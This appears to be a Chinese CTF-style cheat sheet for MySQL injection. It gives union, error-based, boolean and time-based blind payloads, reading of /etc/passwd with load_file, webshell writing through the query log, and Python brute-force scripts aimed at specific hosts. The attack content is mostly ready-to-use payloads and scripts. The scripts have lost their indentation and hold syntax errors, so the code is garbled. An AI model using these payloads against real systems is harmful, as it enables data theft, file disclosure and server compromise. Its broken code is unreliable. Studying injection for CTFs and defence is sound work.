0%

mysql注入

本地:mysql5.7

常见函数

查看当前数据库版本

  • VERSION()
  • @@VERSION
  • @@GLOBAL.VERSION

当前登录用户

  • user()
  • current_user()
  • system_user()
  • session_user()

当前使用的数据库

  • database()
  • schema()

当前的操作系统

  • @@version_compile_os

路径相关

  • @@basedir : mysql安装路径
  • @@SLAVE_LOAD_TMPDIR : 临时文件夹路径
  • @@DATADIR : 数据存储路径
  • @@CHARACTER_SETS_DIR : 字符集设置文件路径
  • @@LOG_ERROR : 错误日志文件路径:
  • @@PID_FILE : pid-file文件路径
  • @@BASEDIR : mysql安装路径:
  • @@SLAVE_LOAD_TMPDIR : 临时文件夹路径

字母/数字相关

  • ASCII(): 获取字母的ascii码值
  • BIN(): 返回值的二进制串表示
  • CONV(): 进制转换
  • FLOOR(): 函数只返回整数部分,小数部分舍弃。
  • ROUND(): 函数四舍五入,大于0.5的部分进位,不到则舍弃。
  • LOWER():转成小写字母
  • UPPER(): 转成大写字母
  • HEX():十六进制编码
  • UNHEX():十六进制解码

字符串截取

  • MID(column_name,start[,length]) start起始为1
  • LEFT(str,length) length为从左边开始要返回的字符数
  • RIGHT(str,length). length为从右边开始要返回的字符数
  • SUBSTR(str,pos,len) 从pos开始截取len个,pos起始为1,pos 可以是负值
  • SUBSTRING(str,pos,len). 与subsets()相同

常规语句

查询全部数据库名:

select group_concat(schema_name) from information_schema.schemeta limit 0,10

查询指定表名:

select group_concat(table_name) from information_schema.tables where table_schema='sqli'  //可用十六进制

查询指定列名:

select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema='sqli'

获取指定数据:

select flag from flag
select username,password from sqli.user (垮库查询)

绕过information_schema

一、利用mysql5.7新增的sys.schema_auto_increment_columns

sys.schema_auto_increment_columns

image-20230102235209264

二、mysql默认存储引擎innoDB携带的表

mysql.innodb_table_stats

mysql.innodb_index_stats

两表均有database_name和table_name字段,可以利用

image-20230102235456704

三、sys数据库

表单或视图 存储数据库名字段 存储表单名字段
sys.innodb_buffer_stats_by_table object_schema
sys.x$innodb_buffer_stats_by_table object_schema object_name
sys.schema_auto_increment_columns table_schema table_name
sys.schema_table_statistics table_schema
sys.x$schema_table_statistics table_schema table_name
sys.schema_table_statistics_with_buffer table_schema table_name
sys.x$schema_table_statistics_with_buffer table_schema table_name
sys.schema_tables_with_full_table_scans object_schema object_name
sys.x$schema_tables_with_full_table_scans object_schema object_name
sys.io_global_by_file_by_latency file字段包含数据名和表单名 file字段包含数据名和表单名
sys.x$io_global_by_file_by_latency file字段包含数据名和表单名 file字段包含数据名和表单名
sys.io_global_by_file_by_bytes file字段包含数据名和表单名 file字段包含数据名和表单名
sys.x$io_global_by_file_by_bytes file字段包含数据名和表单名 file字段包含数据名和表单名
sys.x$schema_flattened_keys table_schema table_name
sys.x$ps_schema_table_statistics_io table_schema table_name
performance_schema.objects_summary_global_by_type object_schema object_name
performance_schema.table_handles object_schema
performance_schema.table_io_waits_summary_by_index_usage object_schema object_name
performance_schema.table_io_waits_summary_by_table object_schema object_name

还有一些存储报错语句的和执行状态的表单或视图得知其中含有的数据库名和表单信息,通过获取query可以查看之前用到的查询语句。

视图 字段
sys.statements_with_errors_or_warnings query
sys.statements_with_full_table_scans query
sys.statement_analysis query
sys.x$statement_analysis query
performance_schema.events_statements_summary_by_digest digest_text(查询记录)
performance_schema.file_instances file_name(文件路径)

读写文件

条件:

  • 数据库允许导入导出(secure_file_priv)

  • 当前用户用户文件操作权限(File_priv),尽量具有root权限

  • 知道绝对物理路径

查看权限配置

select File_priv from mysql.user where user='root' and host='localhost'
show global variables like '%secure%';

secure_file_priv 参数用来限制数据导入和导出操作的效果

  • secure_file_prive=null ;限制mysqld 不允许导入和导出
  • secure_file_priv=/tmp/ ;限制mysqld 的导入和导出只能在/tmp/目录下
  • secure_file_priv=’’ ;不对mysqld 的导入和导出做限制

mysql 5.6.34版本以后,配置文件默认没有secure_file_priv这个选项,实际为NULL。并且无法用sql语句对其进行修改,只能够通过修改以下文件。

windows下 my.ini
[mysqld]
secure_file_priv=

linux下 cat /etc/my.cnf
[mysqld]
secure_file_priv=

select load_file('/etc/passwd'); 可使用hex绕过引号
select 'test' into outfile '/tmp/demo.txt';
select 'test' into dumpfile '/tmp/demo.txt'

dumpfile和outfile不同在于,outfile会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏

日志写shell

突破secure_file_priv 选项限制,通过日志文件,原理都是修改日志存放的路径及文件,通过执行操作把木马存入修改后的日志中,达到写入木马的目的。

mysql日志主要包含:错误日志、查询日志、慢查询日志、事务日志、二进制日志,只有查询日志和慢查询日志可利用。

查看日志状态(默认禁止)

show variables like 'general_log%';       查询日志
show variables like '%slow_query_log%'; 慢查询日志

开启日志记录

set global general_log = 'ON';   查询日志
set global slow_query_log=1; 慢查询日志

伪造(修改)日志文件的绝对路径以及文件名

set global general_log_file="/tmp/test.php";    查询日志
set global slow_query_log_file='/tmp/test.php’; 慢查询日志

执行sql语句,mysql会将执行的语句内容记录到我们指定的文件中

select '<?php phpinfo() ?>';                 查询日志
select '<?php phpinfo() ?>' or sleep(11); 慢查询日志

关于慢查询日志

命令执行时间超过long_query_time设定的值(默认10s),则会保存至慢查询日志。查看long_query_time设定的值

show global variables like '%long_query_time%';   

变量注入

select * from user limit 0,1 into @a,@b,@c;
select * from user where username='' union select @a,@b,@c;

搭配写文件
select count(*) from user where id ='1' union select * from(select 'shell')a limit 1,1 into @a;
select @a into outfile '/tmp/flag.txt'

异或注入

select * from ctf_test where user='2'^(mid(user(),1,1)='s')^1;

order by盲注

select * from user where id='1' union select 1,2,binary('E') order by 3
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | Dump | Dump |
| 1 | 2 | E |
+----+----------+----------------------------------+


select * from user where id='1' union select 1,2,binary('D') order by 3
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | 2 | D |
| 1 | Dump | Dump |
+----+----------+----------------------------------+

无列名注入

ctf无列名注入小结

列名重复(join…using)

条件:需要开启报错

select * from user where username='1' union select * from (select * from user a join user b)c   //dump出第一个字段名:
> 1060 - Duplicate column name 'id'

select * from user where username='1' union select * from (select * from user a join user b using(id))c //dump出第二个字段名:
> 1060 - Duplicate column name 'username'

通过别名,引用列名(需要使用union)

条件:有查询内容回显

select * from user where username='-1' union select 1,1,group_concat(`2`) from (select 1,2,3 union select * from user)c

反引号禁用时,使用别名 as 绕过或者双引号:
select * from user where username='-1' union select 1,1,group_concat(a) from (select 1,2,3 as a union select * from user)c
select * from user where username='-1' union select 1,1,group_concat(a) from (select 1,2,3 a union select * from user)c
select * from user where username='-1' union select 1,1,group_concat(a) from (select 1,2,"a" union select * from user)c

比较盲注

条件:盲注条件

select ((select "f")>(select "flag{xxxx}"));
> 0
select ((select "fm")>(select "flag{xxxx}"));
> 1
select ((select 1,"fm")>(select * from flag));
> 1

塞个脚本

import requests

def add(flag):
res=''
res += flag
return res

payload = """1^((select 1,"{}") > (select * from f1ag_1s_h3r3_hhhhh ))^1"""

url="http://url/index.php"

flag=''
for i in range(1,80):
for j in range(32,140):
mixchar = add(flag+chr(j))
py = payload.format(mixchar)
data = {"id": py}
r = requests.post(url=url,data=data)
if 'Nu1L' in r.text:
flag = flag+chr(j-1)
print(flag)
break

宽字节注入

条件:mysql数据库编码为gbk,且 ' 被转义成 \'

注入:使用 id=%df%27

原理:这里的 %27会被变成 \%27%5c%27,再加上前边的 %df 变成 %df%5c%27,而 %df%5c 在gbk字符集中表示汉子: 運,故语句便成 id=運',成功逃逸出单引号转义(php中通常是addslashes函数,或开启GPC,PHP5.4版本已移除GPC)

报错注入

floor

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

extractvalue

id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

updatexml

id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

geometrycollection

id=1 and geometrycollection((select * from(select * from(select user())a)b));

multipoint

id=1 and multipoint((select * from(select * from(select user())a)b));

polygon

id=1 and polygon((select * from(select * from(select user())a)b));

multipolygon

id=1 and multipolygon((select * from(select * from(select user())a)b));

linestring

id=1 and linestring((select * from(select * from(select user())a)b));

multilinestring

id=1 and multilinestring((select * from(select * from(select user())a)b));

exp

id=1 and exp(~(select * from(select user())a));

五种延时注入

一、sleep:

select sleep(5);

二、benchmark:

select benchmark(10000000,md5(1));

三、笛卡尔积:

利用 and短路运算规则 进行时间盲注

mysql> select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);
+------+-----+
| user | pwd |
+------+-----+
| 1 | 0 |
+------+-----+
1 row in set (2.08 sec)

mysql> select * from ctf_test where user='1' and 1=0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);
Empty set (0.01 sec)

四、get_clock共享锁:

两个session进行操作

SESSION A

mysql> select get_lock('lihuaiqiu',1);
+-------------------------+
| get_lock('lihuaiqiu',1) |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)

SESSION B

mysql> select get_lock('lihuaiqiu',5);
+-------------------------+
| get_lock('lihuaiqiu',5) |
+-------------------------+
| 0 |
+-------------------------+
1 row in set (5.00 sec)

mysql> select * from ctf_test where user='0' and 1=1 and get_lock('lihuaiqiu',2);
Empty set (2.00 sec)

mysql> select * from ctf_test where user='0' and 1=0 and get_lock('lihuaiqiu',2);
Empty set (0.00 sec)

五、正则dos,rlike:

mysql> select * from flag where flag='1' and if(mid(user(),1,1)='s',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1);
+------+
| flag |
+------+
| 1 |
+------+
1 row in set (0.00 sec)

mysql> select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1);
Empty set (3.83 sec)

脚本

布尔盲注

import requests

url = "http://121.43.141.153:60056/error.php?code="
result = ""
i = 0
while (True):
i = i + 1
head = 32
tail = 127
while (head < tail):
mid = (head + tail) >> 1
#payload = "if(ascii(substr(database(),%d,1))>%d,404,403)" % (i , mid)
#payload = "if(ascii(substr((select group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i,mid)
#payload = "if(ascii(substr((select group_concat(column_name)from(information_schema.columns)where(table_name like 'flag')),%d,1))>%d,404,403)" % (i,mid)
payload = "if(ascii(substr((select flag from fllllllllaaaaaag),%d,1))>%d,404,403)" % (i,mid)
r = requests.get(url + payload)

if "404" in r.text:
head = mid + 1
else:
# print(r.text)
tail = mid
last = result
if head != 32:
result += chr(head)
else:
break
print(result)

REGEXP盲注

import requests
import string

strs = string.printable
url = "http://x.x.x.x:8001/Less-8/index.php?id="

database1 = "' or database() regexp '^{}'--+"
table1 = "' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^{}'--+"
cloumn1 = "' or (select column_name from information_schema.columns where table_name=\"users\" and table_schema=database() limit 1,1) regexp '^{}'--+"
data1 = "' or (select username from users limit 0,1) regexp '^{}'--+"

payload = database1
if __name__ == "__main__":
name = ''
for i in range(1,40):
char = ''
for j in strs:
payloads = payload.format(name+j)
urls = url+payloads
r = requests.get(urls)
if "You are in" in r.text:
name += j
print(j,end='')
char = j
break
if char =='#':
break

延时注入

import time
import requests

url = "http://f2b0d8e1-e12f-446c-a90e-bc79e2c0a062.node4.buuoj.cn:81/index.php"
asc = 'Dabcdefghijklmnopqrstuvwxyz0123456789{}-_'
flag = ""

for i in range(50):
for j in asc:
#payload = "'or(if(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))={},benchmark(1000000,md5(1)),0))or'"
payload = "'or(if(ascii(mid((select(cmd)from(flaggg)),{},1))={},benchmark(2000000,md5(1)),0))or'"
data = {"username": payload.format(i, ord(j)),"password": "test"}
start_time2=time.time()
res = requests.post(url, data=data)
end_time2=time.time()
sec2=(end_time2-start_time2)
if sec2 >=0.4
flag += j
print(flag)
time.sleep(0.3)
break
else:
pass
#sys.schema_table_statistics 
#sys.x$statement_analysis Fl49ish3re.f1aG123

import requests
flag=''
for a in range(1,9999):
print(a)
for i in range(30,130):
payload=("' or if((select STRCMP(hex(right((select (f1aG123) from Fl49ish3re),"+str(a)+")),'"+str(hex(i))[2:]+flag+"')),1,benchmark(9999999,md5('test')))#").replace(" ","/**/")
try:
#UPDATE `Fl49ish3re` SET `f1aG123` = ? WHERE `f1aG123` = ?
#Fl49ish3re
#users,Fl49ish3re
r=requests.post(url="<http://172.52.31.84/index.php",data={"username":"admin","password>":payload},timeout=1)
#print(r.text)
except:
flag=str(hex(i))[2:]+flag
print(payload)
print(flag)
break

参考

Sql注入备忘录

https://xz.aliyun.com/t/5505

ctf无列名注入小结